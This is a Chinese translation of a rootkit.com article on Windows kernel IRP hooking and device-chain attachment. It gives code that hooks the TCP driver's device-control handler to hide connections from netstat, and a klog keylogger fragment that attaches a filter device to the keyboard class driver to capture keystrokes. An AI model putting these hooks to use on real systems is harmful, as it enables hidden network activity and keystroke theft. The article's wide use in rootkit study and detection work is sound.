IRP hooking and Device Chains

来源:互联网 发布:女性脂溢性脱发知乎 编辑:程序博客网 时间:2024/04/30 20:30
原文作者:hoglund
原文标题:IRP hooking and Device Chains
电子邮件:hoglund@hbgary.com
作者国籍:
美国
原文链接:http://www.rootkit.com/newsread.php?newsid=846

翻译:syspro
声明:1、本人翻译水平有限,有不当之请大家理解。如部分看不懂可以和原文对照。
             2、欢迎转载,但请不要漏掉原文作者和翻译者的信息。
             3、欢迎大家指出我翻译中的错误,我好改正。

内容:

        我想在文章中带给大家一些新的内容,于是锤炼了这篇文章送给大家。
        IRP hooking 是一种常用的rootkit技术。主要有两种方法来实现它,一种利用IRPs – hooking函数指针,另一种是注册为一个附加设备(有时叫做“过滤驱动”)。第一种方法相当简直接,你简单地hook "Major Function" 或 "Dispatch"这两个IRP处理函数即可,他们是DRIVER_OBJECT结构中的一组回调函数。
typedef struct _DRIVER_OBJECT {
  CSHORT  Type;
  CSHORT  Size;
  PDEVICE_OBJECT  DeviceObject;
  ULONG  Flags;
  PVOID  DriverStart;
  ULONG  DriverSize;
  PVOID  DriverSection;
  PDRIVER_EXTENSION  DriverExtension;
  UNICODE_STRING  DriverName;
  PUNICODE_STRING  HardwareDatabase;
  
struct _FAST_IO_DISPATCH *FastIoDispatch;
  PDRIVER_INITIALIZE  DriverInit;
  PDRIVER_STARTIO  DriverStartIo;
  PDRIVER_UNLOAD  DriverUnload;
  PDRIVER_DISPATCH  MajorFunction[IRP_MJ_MAXIMUM_FUNCTION 
+ 1]; <----
}
 DRIVER_OBJECT;
typedef 
struct _DRIVER_OBJECT *PDRIVER_OBJECT;

       IRP回调函数(也叫驱动处理
例程)仅用于当驱动被注册为一个设备的时候。IRP的处理操作是在IO管理器来处理的。许多rootkit不注册任何设备,也就不需要任何处理例程了。在驱动入口上,这些指针会被默认置为0。如果你不填充它们,就会直接跳转到内核中一个默认的句柄,作为对完成IRP的一种保护。一个rootkit能够hook那些默认句柄来捕获许多流控制权。
       有许多基本的IRP处理例程是每个合法驱动应该实现的。例如,当有人打开一个驱动句柄或是与任何被驱动创建的设备对象交互时,下面的任何例程都可能被使用:
#define IRP_MJ_CREATE 0x00
#define IRP_MJ_CREATE_NAMED_PIPE 0x01
#define IRP_MJ_CLOSE 0x02
#define IRP_MJ_READ 0x03
#define IRP_MJ_WRITE 0x04
#define IRP_MJ_QUERY_INFORMATION 0x05
#define IRP_MJ_SET_INFORMATION 0x06
#define IRP_MJ_QUERY_EA 0x07
#define IRP_MJ_SET_EA 0x08
#define IRP_MJ_FLUSH_BUFFERS 0x09
#define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a
#define IRP_MJ_SET_VOLUME_INFORMATION 0x0b
#define IRP_MJ_DIRECTORY_CONTROL 0x0c
#define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d
#define IRP_MJ_DEVICE_CONTROL 0x0e
#define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f
#define IRP_MJ_SCSI 0x0f
#define IRP_MJ_SHUTDOWN 0x10
#define IRP_MJ_LOCK_CONTROL 0x11
#define IRP_MJ_CLEANUP 0x12
#define IRP_MJ_CREATE_MAILSLOT 0x13
#define IRP_MJ_QUERY_SECURITY 0x14
#define IRP_MJ_SET_SECURITY 0x15
#define IRP_MJ_POWER 0x16
#define IRP_MJ_SYSTEM_CONTROL 0x17
#define IRP_MJ_DEVICE_CHANGE 0x18
#define IRP_MJ_QUERY_QUOTA 0x19
#define IRP_MJ_SET_QUOTA 0x1a
#define IRP_MJ_PNP 0x1b
#define IRP_MJ_PNP_POWER 0x1b
#define IRP_MJ_MAXIMUM_FUNCTION 0x1b

       IRP函数hook容易使用,但不易被检测。我不能确信有多少桌面防火墙试图使这些指针表无效,但能够直接列举它们,检查它们指向的特有的驱动,等。但是,它们仍然很强大。下面的代码hook了windows的TCP驱动的设备IOCTL的回调函数。像下面那样使用hook能让你从netstat工具中隐藏TCP会话。
NTSTATUS InstallTCPDriverHook()
{
    NTSTATUS       ntStatus;
    UNICODE_STRING deviceTCPUnicodeString;
    WCHAR deviceTCPNameBuffer[]  
= L"/Device/Tcp";
        pFile_tcp  
= NULL;
    pDev_tcp   
= NULL;
    pDrv_tcpip 
= NULL;

    RtlInitUnicodeString (
           
&deviceTCPUnicodeString, deviceTCPNameBuffer);
    ntStatus 
= IoGetDeviceObjectPointer(
           
&deviceTCPUnicodeString,
           FILE_READ_DATA,
           
&pFile_tcp,
           
&pDev_tcp);
    
if(!NT_SUCCESS(ntStatus))
        
return ntStatus;
    pDrv_tcpip 
= pDev_tcp->DriverObject;

    OldIrpMjDeviceControl 
=
           pDrv_tcpip
->MajorFunction[IRP_MJ_DEVICE_CONTROL];
    
if (OldIrpMjDeviceControl)
          InterlockedExchange (
            (PLONG)
&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],
            (LONG)HookedDeviceControl);
    
    
return STATUS_SUCCESS;
}

       因为IRP处理对驱动来说是如此的特殊,所以这仍是一个巨大的未被开发的领域。记得,当SSDT hook第一次出现的时候,有多少人都跟随着创新出新的方法来hook不同的系统调用?好的,每个驱动除了经由IRP Handler 实现,就像它拥有的系统调用的外表。
       第二种hook IRP的方法根本与hook函数无关,只是使用了公开的方法。每个驱动都有0到多个注册设备。一个设备只能有一个父驱动,但一个驱动能注册多个子设备。反过来,在系统范围里任意位置的驱动被链接在一起,如此在多个设备和他们的多个父驱动之间产生 父-子关系。作为一个rootkit开发者,你能附加到任何存在的设备或设备链当中,因此你的rootkit 所拥有的IRP处理回调函数将有机会截取在设备链中传递的IRP头。
       应该被提醒的是,“
chain”这个词在有些文字里有点易被误解,像它可能在与驱动拥有的设备集合中('*NextDevice'指针)有关,也有可能与一系列附加到另一个的设备(被 ‘*AttachedDevice’ 指针处理)有关。这个术语“chain”暗指沿着链的串接对象的概念。为了hook IRP链,你需要用完全不同的指针,就是'*AttachedDevice'指针。这些附加设备有时也被看作链,通常导致一些在设备对象上的混淆。让我们对比这两种指针,来消除困惑。
typedef struct _DEVICE_OBJECT {
  CSHORT  Type;
  USHORT  Size;
  LONG  ReferenceCount;
  
struct _DRIVER_OBJECT  *DriverObject;
  
struct _DEVICE_OBJECT  *NextDevice;
  
struct _DEVICE_OBJECT  *AttachedDevice;
  
struct _IRP  *CurrentIrp;
  PIO_TIMER  Timer;
  ULONG  Flags;
  ULONG  Characteristics;
  
volatile PVPB  Vpb;
  PVOID  DeviceExtension;
  DEVICE_TYPE  DeviceType;
  CCHAR  StackSize;
  union 
{
    LIST_ENTRY  ListEntry;
    WAIT_CONTEXT_BLOCK  Wcb;
  }
 Queue;
  ULONG  AlignmentRequirement;
  KDEVICE_QUEUE  DeviceQueue;
  KDPC  Dpc;
  ULONG  ActiveThreadCount;
  PSECURITY_DESCRIPTOR  SecurityDescriptor;
  KEVENT  DeviceLock;
  USHORT  SectorSize;
  USHORT  Spare1;
  
struct _DEVOBJ_EXTENSION  *DeviceObjectExtension;
  PVOID  Reserved;
}
 DEVICE_OBJECT, *PDEVICE_OBJECT;

       所有被单个驱动创建的设备对象是被保存在由
'*NextDevice'指针所指的位置,但附加设备没有要做的。进一步说,没有东西被通过设备列表传送。'*NextDevice'指针的目的是让IO管理器能列举一个驱动所拥有的所有设备。一个驱动也可能用这个列表去枚举所有他自己的设备,例如一个音频驱动可能设置初始化期间所有附加声音设备的音量。‘*NextDevice’指针和设备集合不被用于IRP处理,于是真的不必做许多关于IRP HOOK。
       作为一个rootkit开发者,你可能像实验插入木马
DEVICE_OBJECT到'*NextDevice'列表里。这可能改变拥有这些设备集合的驱动的效果。
       附加是个不同的东西。设备附加是通过另一个被叫做
'*AttachedDevice'的指针处理的。被 '*AttachedDevice'保持的设备列表示完全分离的,与'*NextDevice'列表无关。被附加的设备通过将其置于已存设备的最高层来实现过滤驱动-想想键盘hooker之类的klog rootkit吧。因此,当一个rootkit开发者意图hook一个“设备链”时,他们通常是说附加设备链和更多具体的,使用一个像IoAttachDevice的API调用去放置一个过滤驱动在这个链中。
      都 知道,当你请求附加时,
IoAttachDevice 不能保证你最终会附加到那个设备。IoAttachDevice预期一个设备名(就说"//Device//Tcp"吧),但在内部将要决定一个现实的要被附加给你的设备。如果有一个挂载的文件系统卷入,真的设备对象会被忽略并且文件系统的设备对象可能被用来代替。当然,如果一个目的设备对象已经有一个附加设备,然后他将遍历到所能到达的附加设备链的最顶部。(再次说明,请记住这个附加设备链是不同于”NextDevice“链)。在这个回朔过程,任何像上面提到的文件系统那样有着特殊考虑的设备对象,将在那个点停止回朔并返回相切的设备。因此,IoAttachDevice的第三个参数是一个指针,当你最后附加是它初始化为一个真实的设备。这个附加的实际目标,是一个DEVICE_OBJECT结构,有一个'*AttachedDevice'指针,将被初始化指向到你的源DEVICE_OBJECT。你能枚举这些并遍历这个指针链,如果你想做个家庭作业的话。从一个侧面说,你旦尼像这样附加,目的设备的相关的驱动不能再被卸载(除非你先解除附加)。下面是klog rootkit中使用IoAttachDevice的一段代码:
//@@@@@@@@@@@@@@@@@@@@@@@@
// IRQL = passive level
//@@@@@@@@@@@@@@@@@@@@@@@@@
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT pDriverObject)
{
//    __asm int 3;
    DbgPrint("Entering Hook Routine... ");
    
    
//the filter device object
    PDEVICE_OBJECT pKeyboardDeviceObject;
    
    
//Create a keyboard device object
    NTSTATUS status = IoCreateDevice(pDriverObject,sizeof(DEVICE_EXTENSION), NULL, //no name
        FILE_DEVICE_KEYBOARD, 0true&pKeyboardDeviceObject);

    
//Make sure the device was created ok
    if(!NT_SUCCESS(status))
        
return status;
    
    DbgPrint(
"Created keyboard device successfully... ");

    
//////////////////////////////////////////////////////////////////////////////////
    //Copy the characteristics of the target keyboard driver into the  filter device
    
//object because we have to mirror the keyboard device underneath us.
    
//These characteristics can be determined by examining the target driver using an
    
//application like DeviceTree in the DDK
    //////////////////////////////////////////////////////////////////////////////////
    pKeyboardDeviceObject->Flags = pKeyboardDeviceObject->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
    pKeyboardDeviceObject
->Flags = pKeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
    DbgPrint(
"Flags set succesfully... ");

    
//////////////////////////////////////////////////////////////////////////////////////////////
    //Initialize the device extension - The device extension is a custom defined data structure
    
//for our driver where we can store information which is guaranteed to exist in nonpaged memory.
    ///////////////////////////////////////////////////////////////////////////////////////////////
    RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
    DbgPrint(
"Device Extension Initialized... ");

    
//Get the pointer to the device extension
    PDEVICE_EXTENSION pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
    
    
//////////////////////////////////////////////////////////////////////////////////////////////
    //Insert the filter driver onto the device stack above the target keyboard driver underneath and
    
//save the old pointer to the top of the stack. We need this address to direct IRPS to the drivers
    
//underneath us on the stack.
    ///////////////////////////////////////////////////////////////////////////////////////////////
    CCHAR         ntNameBuffer[64= "/Device/KeyboardClass0";
    STRING         ntNameString;
    UNICODE_STRING uKeyboardDeviceName;
    RtlInitAnsiString( 
&ntNameString, ntNameBuffer );
    RtlAnsiStringToUnicodeString( 
&uKeyboardDeviceName, &ntNameString, TRUE );
    IoAttachDevice(pKeyboardDeviceObject,
&uKeyboardDeviceName,&pKeyboardDeviceExtension->pKeyboardDevice);
    RtlFreeUnicodeString(
&uKeyboardDeviceName);
    DbgPrint(
"Filter Device Attached Successfully... ");

    
return STATUS_SUCCESS;
}
//end HookKeyboard

       一旦
IoAttachDevice成功调用,你的驱动将截取目标设备的所有IRP头。你的驱动将比目标驱动先获得IRP。在klog rootkit的示例中,唯一感兴趣的句柄是READ,它能从底层设备抓取键击符。一旦每次读取完毕,这个键击能被捕获并记录。当然,你不必用公开函数去附加到链中,你能直接修改DEVICE_OBJECT结构趋获得这个结果。
       我希望这能对一些读者在IRP Hook上一点提示。
       -Greg